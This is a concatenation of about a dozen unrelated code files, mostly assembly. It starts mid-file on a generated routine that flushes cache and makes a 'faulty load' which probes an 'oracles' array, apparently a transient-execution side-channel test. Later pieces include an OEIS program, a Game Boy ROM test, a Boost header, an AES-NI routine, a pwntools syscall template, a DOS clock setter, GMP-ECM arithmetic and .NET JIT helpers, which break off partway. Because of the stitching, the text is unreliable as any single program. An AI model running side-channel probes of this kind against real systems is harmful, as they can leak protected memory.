nop nop nop xor %r9, %r9 mov (%r12), %bx sub $22596, %r11 lea addresses_WC_ht+0x82cb, %r11 nop nop sub $45495, %r9 movw $0x6162, (%r11) nop sub $46988, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r8 push %r9 push %rcx push %rsi // Load lea addresses_A+0x7483, %r14 clflush (%r14) inc %rcx movaps (%r14), %xmm3 vpextrq $0, %xmm3, %r12 nop nop nop nop nop inc %r14 // Faulty Load lea addresses_US+0x7eeb, %r8 nop nop nop nop and $50061, %r10 movb (%r8), %cl lea oracles, %r10 and $0xff, %rcx shlq $12, %rcx mov (%r10,%rcx,1), %rcx pop %rsi pop %rcx pop %r9 pop %r8 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 5, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 4, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A070940: Number of digits that must be counted from left to right to reach the last 1 in the binary representation of n. ; 1,1,2,1,3,2,3,1,4,3,4,2,4,3,4,1,5,4,5,3,5,4,5,2,5,4,5,3,5,4,5,1,6,5,6,4,6,5,6,3,6,5,6,4,6,5,6,2,6,5,6,4,6,5,6,3,6,5,6,4,6,5,6,1,7,6,7,5,7,6,7,4,7,6,7,5,7,6,7,3,7,6,7,5,7,6,7,4,7,6,7,5,7,6,7,2,7,6,7,5,7,6,7,4,7,6,7,5,7,6,7,3,7,6,7,5,7,6,7,4,7,6,7,5,7,6,7,1,8,7,8,6,8,7,8,5,8,7,8,6,8,7,8,4,8,7,8,6,8,7,8,5,8,7,8,6,8,7,8,3,8,7,8,6,8,7,8,5,8,7,8,6,8,7,8,4,8,7,8,6,8,7,8,5,8,7,8,6,8,7,8,2,8,7,8,6,8,7,8,5,8,7,8,6,8,7,8,4,8,7,8,6,8,7,8,5,8,7,8,6,8,7,8,3,8,7,8,6,8,7,8,5,8,7,8,6,8,7,8,4,8,7,8,6,8,7,8,5,8,7 lpb $0,1 add $2,$0 add $2,1 gcd $2,2 div $0,$2 lpe mov $1,$0 add $1,1 log $1,2 add $1,1
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 80 .text@150 lbegin: ld c, 41 ld b, 02 ld d, 03 lbegin_waitm2: ldff a, (c) and a, d cmp a, b jrnz lbegin_waitm2 ld a, 08 ldff(c), a xor a, a ldff(0f), a ld a, 02 ldff(ff), a ei ld c, 0f .text@1000 lstatint: ld a, 48 ldff(41), a ldff a, (44) inc a ldff(45), a ld a, 03 ldff(43), a .text@1058 xor a, a ldff(c), a nop nop nop nop ld a, ff ldff(45), a nop nop nop nop nop nop nop nop nop nop nop nop nop nop ldff a, (c) and a, 03 jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
// Copyright 2010-2012 (c) Dean Michael Berris // Copyright 2010 (c) Sinefunc, Inc. // Copyright 2012 Google, Inc. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef NETWORK_PROTOCOL_HTTP_MESSAGE_WRAPPERS_VERSION_HPP_20100603 #define NETWORK_PROTOCOL_HTTP_MESSAGE_WRAPPERS_VERSION_HPP_20100603 #include <boost/optional.hpp> #include <network/protocol/http/response/response_base.hpp> #include <network/protocol/http/response/response_base.hpp> namespace network { namespace http { struct version_wrapper { explicit version_wrapper(response_base& response_); operator std:: string() const; private: response_base& response_; mutable boost::optional<std::string> cache_; }; inline std::ostream& operator <<(std::ostream& os, version_wrapper const& version) { return os << static_cast<std::string>(version); } inline version_wrapper version(response_base& response) { return version_wrapper(response); } } // namespace http } // namespace network #endif // NETWORK_PROTOCOL_HTTP_MESSAGE_WRAPPERS_VERSION_HPP_20100603
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 6, 0x90 .globl EncryptCBC_RIJ128_AES_NI .type EncryptCBC_RIJ128_AES_NI, @function EncryptCBC_RIJ128_AES_NI: movslq %r8d, %r8 movdqu (%r9), %xmm0 .p2align 6, 0x90 .Lblks_loopgas_1: movdqu (%rdi), %xmm1 movdqa (%rcx), %xmm4 mov %rcx, %r9 pxor %xmm1, %xmm0 pxor %xmm4, %xmm0 movdqa (16)(%r9), %xmm4 add $(16), %r9 mov %rdx, %r10 sub $(1), %r10 .p2align 6, 0x90 .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 movdqa (16)(%r9), %xmm4 add $(16), %r9 dec %r10 jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 movdqu %xmm0, (%rsi) add $(16), %rdi add $(16), %rsi sub $(16), %r8 jnz .Lblks_loopgas_1 pxor %xmm4, %xmm4 vzeroupper ret .Lfe1: .size EncryptCBC_RIJ128_AES_NI, .Lfe1-(EncryptCBC_RIJ128_AES_NI)
#ruledef test { ld {x} => 0x55 @ x`8 } #bankdef test { #bits 3, #addr 0, #outp 0 } #d3 $ ; = 0b000 #res 2 ; = 0b000_000 label: #res 3 ; = 0b000_000_000 #d3 $ ; = 0b110 #d3 label ; = 0b011
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="when"/> <%docstring> Invokes the syscall stime. See 'man 2 stime' for more information. Arguments: when(time_t): when </%docstring> ${syscall('SYS_stime', when)}
.MODEL SMALL .STACK 100H .DATA LF EQU 0DH CR EQU 0AH PROMPT DB LF,CR,'Enter The Hour(0..23) :$' MSG_M DB LF,CR,'Enter The Minute(0..59): $' MSG_S DB LF,CR,'Enter The Second(0..59): $' MSGSUC DB LF,CR,'Your time is changed.$' MSGFAIL DB LF,CR,'Your Time Is Not Changed.' DB LF,CR,'Do You Want To Try Again Y/N? $' MSGINV DB LF,CR,'Invalid Time...' DB LF,CR,'Do You Want To Try Again Y/N? $' HOUR DB '?' MINUTE DB '?' .CODE MAIN PROC MOV AX,@DATA MOV DS,AX begin : ; DISPLAY PROMPT MESSAGE MOV AH , 9 LEA DX , prompt INT 21H ; Read The Hour CALL INDEC MOV HOUR , AL CMP AL , 23D JG begin @minute: MOV AH , 9 LEA DX , MSG_M INT 21H ; Read the Minute CALL INDEC CMP AL , 59D JG @minute MOV MINUTE , AL @second : MOV AH,9 LEA DX , MSG_S INT 21H ; Read The Second CALL INDEC CMP AL , 59D JG @second ; Set Time using Function 2Dh MOV DH , AL ; DH = Seconds MOV CL , MINUTE ; CL = Minutes MOV CH , HOUR ; CH = Hour MOV AH , 2DH INT 21H ;IS DATE CHANGED ? CMP AL , 00H JNE AGAIN MOV AH , 9H LEA DX , MSGSUC INT 21H JMP EXIT again: MOV AH , 9H LEA DX , MSGFAIL INT 21H answer: ;ANSWER Y/N MOV AH , 1H INT 21H CMP AL , 'Y' JE begin CMP AL , 'y' JE begin CMP AL , 'n' JE EXIT CMP AL , 'N' JE EXIT JMP ANSWER exit: MOV AH , 4CH INT 21H MAIN ENDP include DES_NUM.asm END MAIN
#include <math.h> #include <string> #include "breakout_dotmatrix.hpp" #include "time.h" using namespace pimoroni; BreakoutDotMatrix display(BreakoutDotMatrix::DEFAULT_I2C_ADDRESS); bool led_toggle = false; int main() { gpio_init(PICO_DEFAULT_LED_PIN); gpio_set_dir(PICO_DEFAULT_LED_PIN, GPIO_OUT); display.init(); display.show(); while(true) { absolute_time_t at = get_absolute_time(); uint64_t t = to_us_since_boot(at) / 1000000; std::string second = std::to_string(t % 60); uint16_t left, right; if(second.length() == 1) { left = '0'; right = second[0]; } else { left = second[0]; right = second[1]; } display.set_character(0, left); display.set_character(5, right); display.show(); gpio_put(PICO_DEFAULT_LED_PIN, led_toggle); led_toggle = !led_toggle; sleep_ms(1000 / 60); } return 0; }
# mp_limb_t mulredc1_3(mp_limb_t * z, const mp_limb_t x, const mp_limb_t * y, # const mp_limb_t *m, mp_limb_t inv_m); # # Linux: z: %rdi, x: %rsi, y: %rdx, m: %rcx, inv_m: %r8 # Needs %rbx, %rsp, %rbp, %r12-%r15 restored # Windows: z: %rcx, x: %rdx, y: %r8, m: %r9, inv_m: 28(%rsp) # Needs %rbx, %rbp, %rdi, %rsi, %r12...%15 restored include(`config.m4') ifdef(`WINDOWS64_ABI', `define(`Y_PARAM', `%r8')dnl define(`INVM_PARAM',`72(%rsp)')dnl' , `define(`Y_PARAM', `%rdx')dnl define(`INVM_PARAM',`%r8')dnl' )dnl TEXT .p2align 6 # Opteron L1 code cache line is 64 bytes long GLOBL GSYM_PREFIX`'mulredc1_3 TYPE(GSYM_PREFIX`'mulredc1_`'3,`function') # Implements multiplication and REDC for one input numbers of LENGTH words # and a multiplier of one word ifdef(`WINDOWS64_ABI', `# Uses Windows ABI', `# Uses Linux ABI') # Values that are referenced only once in the loop over j go into r8 .. r14, # In the inner loop (over j), tmp, x[i], y, m, and u are constant. # tmp[j], tmp[j+1], tmp[j+2] are updated frequently. These 8 values # stay in registers and are referenced as # YP = y, MP = m, # X = x, T0 = tmp[j], T1 = tmp[j+1], CY = carry define(`T0', `%rsi')dnl define(`T1', `%rbx')dnl define(`CY', `%rcx')dnl define(`CYl', `%ecx')dnl define(`CYb', `%cl')dnl define(`X', `%r14')dnl # register that holds x value define(`U', `%r11')dnl define(`YP', `%r9')dnl # register that points to the y array define(`MP', `%r10')dnl # register that points to the m array define(`ZP', `%rdi')dnl # register that holds z `#' Register vars: `T0' = T0, `T1' = T1, `CY' = CY, `X' = X, `U' = U `#' `YP' = YP, `MP' = MP GSYM_PREFIX`'mulredc1_3: ######################################################################### # i = 0 pass ######################################################################### `#' register values at loop entry: YP = y, MP = m # We need to compute u movq (Y_PARAM), %rax # rax = y[0] (time critical, do first) pushq %rbx pushq %r14 ifdef(`WINDOWS64_ABI', ` pushq %rsi pushq %rdi movq %r9, MP # store m in MP movq Y_PARAM, YP movq %rcx, ZP movq %rdx, X' , ` movq Y_PARAM, YP movq %rcx, MP movq %rsi, X # store x in X # ZP is same as passed in' ) xorl CYl, CYl # set %CY to 0 mulq X # rdx:rax = y[0] * x movq %rax, T0 # Move low word of product to T0 movq %rdx, T1 # Move high word of product to T1 imulq INVM_PARAM, %rax # %rax = ((x[i]*y[0]+tmp[0])*invm)%2^64 movq %rax, U # this is the new u value mulq (MP) # multipy u*m[0] addq %rax, T0 # Now %T0 = 0, need not be stored movq 8(YP), %rax # Fetch y[1] adcq %rdx, T1 # setc CYb # CY:T1:T0 <= 2*(2^64-1)^2 <= 2^2*128 - 4*2^64 + 2, hence # CY:T1 <= 2*2^64 - 4 define(`TT', defn(`T0'))dnl define(`T0', defn(`T1'))dnl define(`T1', defn(`TT'))dnl undefine(`TT')dnl `#' Now `T0' = T0, `T1' = T1 # Pass for j = 1 # Register values at entry: # %rax = y[j], X = x, U = u # T0 = value to store in tmp[j], T1 undefined # CY = carry into T1 (is <= 2) # We have CY:T1 <= 2 * 2^64 - 2 movq CY, T1 # T1 = CY <= 1 # Here, T1:T0 <= 2*2^64 - 2 mulq X # y[j] * x # rdx:rax <= (2^64-1)^2 <= 2^128 - 2*2^64 + 1 addq %rax, T0 # Add low word to T0 movq 8(MP), %rax # Fetch m[j] into %rax adcq %rdx, T1 # Add high word with carry to T1 # T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 2 <= 2^128 - 1, no carry! mulq U # m[j]*u # rdx:rax <= 2^128 - 2*2^64 + 1, T1:T0 <= 2^128 - 1 addq T0, %rax # Add T0 and low word movq %rax, 0(ZP) # Store T0 in z[1-1] movq 16(YP), %rax # Fetch y[j+1] = y[2] into %rax adcq %rdx, T1 # Add high word with carry to T1 setc CYb # CY <= 1 # CY:T1:T0 <= 2^128 - 1 + 2^128 - 2*2^64 + 1 <= # 2 * 2^128 - 2*2^64 ==> CY:T1 <= 2 * 2^64 - 2 define(`TT', defn(`T0'))dnl define(`T0', defn(`T1'))dnl define(`T1', defn(`TT'))dnl undefine(`TT')dnl `#' Now `T0' = T0, `T1' = T1 # Pass for j = 2. Don't fetch new data from y[j+1]. movq CY, T1 # T1 = CY <= 1 mulq X # y[j] * x[i] addq %rax, T0 # Add low word to T0 movq 16(MP), %rax # Fetch m[j] into %rax adcq %rdx, T1 # Add high word with carry to T1 mulq U # m[j]*u addq %rax, T0 # Add low word to T0 movq T0, 8(ZP) # Store T0 in z[j-1] adcq %rdx, T1 # Add high word with carry to T1 movq T1, 16(ZP) # Store T1 in tmp[j] setc CYb # %CY <= 1 movq CY, %rax # use carry as return value ifdef(`WINDOWS64_ABI', ` popq %rdi popq %rsi ') dnl popq %r14 popq %rbx ret
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ; *********************************************************************** ; File: JIThelp.asm ; ; *********************************************************************** ; ; *** NOTE: If you make changes to this file, propagate the changes to ; jithelp.s in this directory ; This contains JITinterface routines that are 100% x86 assembly .586 .model flat include asmconstants.inc include asmmacros.inc option casemap:none .code ; ; <TODO>@TODO Switch to g_ephemeral_low and g_ephemeral_high ; @TODO instead of g_lowest_address, g_highest address</TODO> ; ARGUMENT_REG1 equ ecx ARGUMENT_REG2 equ edx g_ephemeral_low TEXTEQU <_g_ephemeral_low> g_ephemeral_high TEXTEQU <_g_ephemeral_high> g_lowest_address TEXTEQU <_g_lowest_address> g_highest_address TEXTEQU <_g_highest_address> g_card_table TEXTEQU <_g_card_table> WriteBarrierAssert TEXTEQU <_WriteBarrierAssert@8> JIT_LLsh TEXTEQU <_JIT_LLsh@0> JIT_LRsh TEXTEQU <_JIT_LRsh@0> JIT_LRsz TEXTEQU <_JIT_LRsz@0> JIT_LMul TEXTEQU <@JIT_LMul@16> JIT_Dbl2LngOvf TEXTEQU <@JIT_Dbl2LngOvf@8> JIT_Dbl2Lng TEXTEQU <@JIT_Dbl2Lng@8> JIT_Dbl2IntSSE2 TEXTEQU <@JIT_Dbl2IntSSE2@8> JIT_Dbl2LngP4x87 TEXTEQU <@JIT_Dbl2LngP4x87@8> JIT_Dbl2LngSSE3 TEXTEQU <@JIT_Dbl2LngSSE3@8> JIT_InternalThrowFromHelper TEXTEQU <@JIT_InternalThrowFromHelper@4> JIT_WriteBarrierReg_PreGrow TEXTEQU <_JIT_WriteBarrierReg_PreGrow@0> JIT_WriteBarrierReg_PostGrow TEXTEQU <_JIT_WriteBarrierReg_PostGrow@0> JIT_TailCall TEXTEQU <_JIT_TailCall@0> JIT_TailCallLeave TEXTEQU <_JIT_TailCallLeave@0> JIT_TailCallVSDLeave TEXTEQU <_JIT_TailCallVSDLeave@0> JIT_TailCallHelper TEXTEQU <_JIT_TailCallHelper@4> JIT_TailCallReturnFromVSD TEXTEQU <_JIT_TailCallReturnFromVSD@0> EXTERN g_ephemeral_low:DWORD EXTERN g_ephemeral_high:DWORD EXTERN g_lowest_address:DWORD EXTERN g_highest_address:DWORD EXTERN g_card_table:DWORD ifdef _DEBUG EXTERN WriteBarrierAssert:PROC endif ; _DEBUG EXTERN JIT_InternalThrowFromHelper:PROC ifdef FEATURE_HIJACK EXTERN JIT_TailCallHelper:PROC endif EXTERN _g_TailCallFrameVptr:DWORD EXTERN @JIT_FailFast@0:PROC EXTERN _s_gsCookie:DWORD ifdef WRITE_BARRIER_CHECK ; Those global variables are always defined, but should be 0 for Server GC g_GCShadow TEXTEQU <?g_GCShadow@@3PAEA> g_GCShadowEnd TEXTEQU <?g_GCShadowEnd@@3PAEA> EXTERN g_GCShadow:DWORD EXTERN g_GCShadowEnd:DWORD INVALIDGCVALUE equ 0CCCCCCCDh endif EXTERN _COMPlusEndCatch@20:PROC .686P .XMM ; The following macro is needed because of a MASM issue with the ; movsd mnemonic ; $movsd MACRO op1, op2 LOCAL begin_movsd, end_movsd begin_movsd: movupd op1, op2 end_movsd: org begin_movsd db 0F2h org end_movsd ENDM .586 ; The following macro is used to match the JITs ; multi-byte NOP sequence $nop3 MACRO db 090h db 090h db 090h ENDM ;*** ;JIT_WriteBarrier* - GC write barrier helper ; ;Purpose: ; Helper calls in order to assign an object to a field ; Enables book-keeping of the GC. ; ;Entry: ; EDX - address of ref-field (assigned to) ; the resp. other reg - RHS of assignment ; ;Exit: ; ;Uses: ; EDX is destroyed. ; ;Exceptions: ; ;******************************************************************************* ; The code here is tightly coupled with AdjustContextForJITHelpers, if you change ; anything here, you might need to change AdjustContextForJITHelpers as well ; Note that beside the AV case, we might be unwinding inside the region where we have ; already push ecx and ebp in the branch under FEATURE_DATABREAKPOINT WriteBarrierHelper MACRO rg ALIGN 4 ;; The entry point is the fully 'safe' one in which we check if EDX (the REF ;; begin updated) is actually in the GC heap PUBLIC _JIT_CheckedWriteBarrier&rg&@0 _JIT_CheckedWriteBarrier&rg&@0 PROC ;; check in the REF being updated is in the GC heap cmp edx, g_lowest_address jb WriteBarrier_NotInHeap_&rg cmp edx, g_highest_address jae WriteBarrier_NotInHeap_&rg ;; fall through to unchecked routine ;; note that its entry point also happens to be aligned ifdef WRITE_BARRIER_CHECK ;; This entry point is used when you know the REF pointer being updated ;; is in the GC heap PUBLIC _JIT_DebugWriteBarrier&rg&@0 _JIT_DebugWriteBarrier&rg&@0: endif ifdef _DEBUG push edx push ecx push eax push rg push edx call WriteBarrierAssert pop eax pop ecx pop edx endif ;_DEBUG ; in the !WRITE_BARRIER_CHECK case this will be the move for all ; addresses in the GCHeap, addresses outside the GCHeap will get ; taken care of below at WriteBarrier_NotInHeap_&rg ifndef WRITE_BARRIER_CHECK mov DWORD PTR [edx], rg endif ifdef WRITE_BARRIER_CHECK ; Test dest here so if it is bad AV would happen before we change register/stack ; status. This makes job of AdjustContextForJITHelpers easier. cmp [edx], 0 ;; ALSO update the shadow GC heap if that is enabled ; Make ebp into the temporary src register. We need to do this so that we can use ecx ; in the calculation of the shadow GC address, but still have access to the src register push ecx push ebp mov ebp, rg ; if g_GCShadow is 0, don't perform the check cmp g_GCShadow, 0 je WriteBarrier_NoShadow_&rg mov ecx, edx sub ecx, g_lowest_address ; U/V jb WriteBarrier_NoShadow_&rg add ecx, [g_GCShadow] cmp ecx, [g_GCShadowEnd] ja WriteBarrier_NoShadow_&rg ; TODO: In Orcas timeframe if we move to P4+ only on X86 we should enable ; mfence barriers on either side of these two writes to make sure that ; they stay as close together as possible ; edx contains address in GC ; ecx contains address in ShadowGC ; ebp temporarially becomes the src register ;; When we're writing to the shadow GC heap we want to be careful to minimize ;; the risk of a race that can occur here where the GC and ShadowGC don't match mov DWORD PTR [edx], ebp mov DWORD PTR [ecx], ebp ;; We need a scratch register to verify the shadow heap. We also need to ;; construct a memory barrier so that the write to the shadow heap happens ;; before the read from the GC heap. We can do both by using SUB/XCHG ;; rather than PUSH. ;; ;; TODO: Should be changed to a push if the mfence described above is added. ;; sub esp, 4 xchg [esp], eax ;; As part of our race avoidance (see above) we will now check whether the values ;; in the GC and ShadowGC match. There is a possibility that we're wrong here but ;; being overaggressive means we might mask a case where someone updates GC refs ;; without going to a write barrier, but by its nature it will be indeterminant ;; and we will find real bugs whereas the current implementation is indeterminant ;; but only leads to investigations that find that this code is fundamentally flawed mov eax, [edx] cmp [ecx], eax je WriteBarrier_CleanupShadowCheck_&rg mov [ecx], INVALIDGCVALUE WriteBarrier_CleanupShadowCheck_&rg: pop eax jmp WriteBarrier_ShadowCheckEnd_&rg WriteBarrier_NoShadow_&rg: ; If we come here then we haven't written the value to the GC and need to. ; ebp contains rg ; We restore ebp/ecx immediately after this, and if either of them is the src ; register it will regain its value as the src register. mov DWORD PTR [edx], ebp WriteBarrier_ShadowCheckEnd_&rg: pop ebp pop ecx endif cmp rg, g_ephemeral_low jb WriteBarrier_NotInEphemeral_&rg cmp rg, g_ephemeral_high jae WriteBarrier_NotInEphemeral_&rg shr edx, 10 add edx, [g_card_table] cmp BYTE PTR [edx], 0FFh jne WriteBarrier_UpdateCardTable_&rg ret WriteBarrier_UpdateCardTable_&rg: mov BYTE PTR [edx], 0FFh ret WriteBarrier_NotInHeap_&rg: ; If it wasn't in the heap then we haven't updated the dst in memory yet mov DWORD PTR [edx], rg WriteBarrier_NotInEphemeral_&rg: ; If it is in the GC Heap but isn't in the ephemeral range we've already ; updated the Heap with the Object*. ret _JIT_CheckedWriteBarrier&rg&@0 ENDP ENDM ;*** ;JIT_ByRefWriteBarrier* - GC write barrier helper ; ;Purpose: ; Helper calls in order to assign an object to a byref field ; Enables book-keeping of the GC. ; ;Entry: ; EDI - address of ref-field (assigned to) ; ESI - address of the data (source) ; ECX can be trashed ; ;Exit: ; ;Uses: ; EDI and ESI are incremented by a DWORD ; ;Exceptions: ; ;******************************************************************************* ; The code here is tightly 